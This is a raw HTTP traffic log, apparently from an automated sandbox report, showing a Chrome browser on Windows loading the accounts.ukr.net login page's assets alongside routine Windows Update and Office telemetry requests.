Source: global traffic	HTTP traffic detected: GET /login/assets/inter-regular-cyrillic-gDZy7y86.woff2 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.ukr.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/inter-bold-latin-4bgN5WJ1.woff2 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.ukr.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /login/assets/app-store-badge-83fca98c.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/google-play-badge-8c42ddbd.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/file-20d110f0.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/js/pow-worker-wasm.js?ab3ac7fc HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-speedy-5282c395.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-markers-828d12d7.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/js/bundle.js?949e9a20 HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-2fa-02329941.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-design-ece6269f.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/cai/browser/get HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-backup-e81719b8.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tunnel/websocket?cv%2Faccounts=login%2F2024.10.14.0820 HTTP/1.1Host: poll0.fwdcdn.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://accounts.ukr.netSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: CWtMDyXN6P2nvRW4bggDgw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-patriotic-59471166.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-markers-828d12d7.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-big-files-db9d7440.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-unlimited-8c72d422.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-speedy-5282c395.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-2fa-02329941.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/js/pow-worker-wasm.js?ab3ac7fc HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-dark-mode-2281edaa.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /login/assets/assembly-vn6BflkY.wasm HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://accounts.ukr.net/login/js/pow-worker-wasm.js?ab3ac7fcAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-support-a8ca1214.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-big-files-db9d7440.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-design-ece6269f.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-unlimited-8c72d422.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-backup-e81719b8.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-popular-bfc8c819.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-patriotic-59471166.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mUcwNRY3HxkAHCU&MD=5oOklbto HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-dark-mode-2281edaa.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /api/v1/token/analytics/acquire HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-support-a8ca1214.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/illustration-popular-bfc8c819.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /login/favicon.ico HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /login/assets/assembly-vn6BflkY.wasm HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
